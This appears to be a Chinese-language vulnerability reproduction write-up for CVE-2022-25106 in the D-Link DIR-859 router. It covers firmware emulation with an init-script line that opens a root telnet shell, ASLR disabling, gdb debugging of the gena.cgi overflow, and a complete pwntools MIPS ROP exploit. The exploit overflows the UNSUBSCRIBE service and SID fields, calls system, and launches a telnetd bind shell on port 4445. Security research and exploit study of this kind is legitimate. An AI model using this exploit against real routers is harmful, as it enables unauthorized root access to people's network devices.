CVE-2022-25106
根据cve公告确定其存在漏洞的固件版本为DIR-859 v1.05
https://github.com/nivrrex/dlink-dir859-gpl/releases/tag/V1.05b06.01
模拟固件
添加gdbserver与busybox
在 firmware-analysis-plus/firmadyne/scripts/makeImage.sh 脚本中新增以下内容
mkdir "${IMAGE_DIR}/firmadyne/userSpace/"
cp "${SCRIPT_DIR}/userSpace/busybox-mips" "${IMAGE_DIR}/firmadyne/userSpace/busybox-mips"
cp "${SCRIPT_DIR}/userSpace/gdbserver-mips" "${IMAGE_DIR}/firmadyne/userSpace/gdbserver-mips"
chmod a+x "${IMAGE_DIR}/firmadyne/userSpace/busybox-mips"
chmod a+x "${IMAGE_DIR}/firmadyne/userSpace/gdbserver-mips"
#cp "${IMAGE_DIR}/firmadyne/userSpace/*" "${IMAGE_DIR}/bin/"
echo "/firmadyne/userSpace/busybox-mips telnetd -p 23 -l /bin/sh &" >> "${IMAGE_DIR}/etc/init0.d/rcS"
上面最好安照文件中的格式来编写,否则可能会影响firmadyne的启动
再将busybox 和 gdbserver拷贝进去
[da1sy@Pwn5ystem] ~/DA1SY-Mac/Tools/IOT-Tools/firmware-analysis-plus/firmadyne/scripts (master) ⚡
❯ cp ~/DA1SY-Mac/Tools/IOT-Tools/Busybox/busybox-mips ./userSpace
[da1sy@Pwn5ystem] ~/DA1SY-Mac/Tools/IOT-Tools/firmware-analysis-plus/firmadyne/scripts (master) ⚡
❯ cp ~/DA1SY-Mac/Tools/IOT-Tools/GdbServer/gdbserver-mips ./userSpace
添加gdbserver与busybox方法2
或者也可以尝试先将固件解包,把busybox-mips、gdbserver放到bin文件夹中
将 busybox-mips telnetd -p 23 -l /bin/sh &
加入到固件的/etc/init.d/rcS中后,最后在把文件系统压缩
❯ tar -czvf dir859.tar.gz _DIR859_FW105b06_lape.bin.extracted
Fap启动固件
❯ ./fap.py -q ./qemu-builds/2.5.0/qemu-system-mips ~/DA1SY-Mac/Study/Iot/Mips/Firmware/DIR859/DIR859_FW105b06_lape.bin
能加载出网口IP就算成功
启动完成后就可以直接telnet 连接进一步调试了,另外需要在调试前关掉aslr
echo 0 > /proc/sys/kernel/randomize_va_space
或者还可以通过rinetd进行端口转发,方便物理机测试
UPnP协议
upnp协议主要用于在网络中广播upnp主体设备的存在及通信,其结构主要包含了设备之间、控制点之间、设备和控制点之间的通信,是一种极具TCP/IP、UDP、HTTP的分布式、开放体系。当支持UPnp的设备开启该功能时,程序将自动向NAT设备发出端口映射的请求,并为其设备分配端口进行映射。
基础的请求消息格式
M-SEARCH * HTTP/1.1
S:uuid:ijklmnop-7dec-11d0-a765-00a0c91e6bf6
Host:239.255.255.250:1900
Man:"ssdp:discover"ST:ge:fridge
MX:3
通过upnp-hack工具来对网络的upnp设备进行发现
https://github.com/dhishan/UPnP-Hack
使用upnpy工具对 upnp设备所提供的描述文档中的接口进行fuzz测试。
https://github.com/5kyc0d3r/upnpy
漏洞复现
漏洞分析
根据漏洞的描述可得知其位于cgibin文件中的genacgi_main函数中,通过ida打开查找相关函数,可以直观的看到v31变量的大小,且向v31传入的字符串相关变量又未对其进行限制,因此导致我门可以通过后面三个参数中的任意一个变量进行溢出
对于构造我们想要的request uri来说
首先v23变量即 SERVER_ID参数的值并非来自我们发送的url请求中,因此主要还是要靠后面的v21、v22来实现溢出
具体如何控制也很简单,只需要我们向UNSUBSCRIBE 发送url请求,通过“?service=
” 既可控制SERVICE、SID后面跟上任意值既可
此时发送数据进行测试可以看到已经对程序造成缓冲区溢出
动态调试
接下来就可以通过gdb动态调试,由于cgibin在加载完后便会直接退出,直接使用gdbserver将无法准确的加载进程到gdbserver上,但可以通过下面方法来动调
在qemu中创建debug.sh脚本,来让gdbserver循环加载可能要出现的gena.cgi(其实指向cgibin文件)进程号
echo "while :; do gdbserver-mips :9999 --attach $(busybox-mips pidof gena.cgi) ; done" > debug.sh
chmod a+x ./debug.sh
./debug.sh
然后就是正常的启动gdb-multiarch加载cgibin,并提前在问题函数genacgi_main地址上下断点
❯ gdb-multiarch htdocs/cgibin
pwndbg> set architecture mips
pwndbg> set endian big
pwndbg> b *0x00410594
pwndbg> target remote 192.168.0.1:9999
随后迅速运行exploit就可以成功在gdb中加载cgibin了
得到缓冲区大小,即474个字符即可控制程序pc寄存器
EXP编写
随后的exp编写就很明确了,通过mipsrop找到所需要的gadget,执行流程如下
$pc -> gadget1(控制$ra) -> $ra( gadget2) -> gadget2(通过$s2设置$a0寄存器) -> $t9(即$s0传入system函数)
mipsrop.find("add $s0")
查找
mipsrop.stackfinders()
查找
需要注意的是我这里是用了service和SID两个变量的参数用来编写exp
from pwn import *
from socket import *
from os import *
context.arch = "mips"
context.endian = "big"
def exp(ip,port,payload,payload2):
data = "UNSUBSCRIBE /gena.cgi?service=%s HTTP/1.0\n"%payload
data += "Host: %s:%s\n"%(ip,port)
data += "SID: %s\n\n"%payload2
con = socket(AF_INET, SOCK_STREAM)
con.connect((gethostbyname(ip), int(port)))
con.send(data)
if __name__ == '__main__':
ip = "192.168.0.1"
port = "49152"
libc_base = 0x2aaf9000
system_addr = libc_base+0x000512D0
gadget1 = libc_base + 0x00041254
# 0x00041254 | addiu $s0,1 | jr 0x30+var_4($sp) |
gadget2 = libc_base + 0x159e8
# 0x000159E8 | addiu $s2,$sp,0x2A8+var_290 | jalr $s0 | jr 0x50+var_4($sp) | jr 0x30+var_4($sp) |
success("%x",gadget1)
payload = 'a'*(474)
payload += p32(gadget1)
payload2 = p32(system_addr) #s0
payload2 += "baaa" #s1
payload2 += p32(0x7fff6a9c+4) #s2 cmd_str
payload2 += "daaa" #s3
payload2 += "eaaa" #s4
payload2 += p32(gadget2) #$ra
payload2 += "gaaahaaaiaaajaaakaaalaaa"
payload2 += "/bin/busybox-mips telnetd -p 4445 -l /bin/sh;"
exp(ip,port,payload,payload2)
system("telnet 192.168.0.1 4445")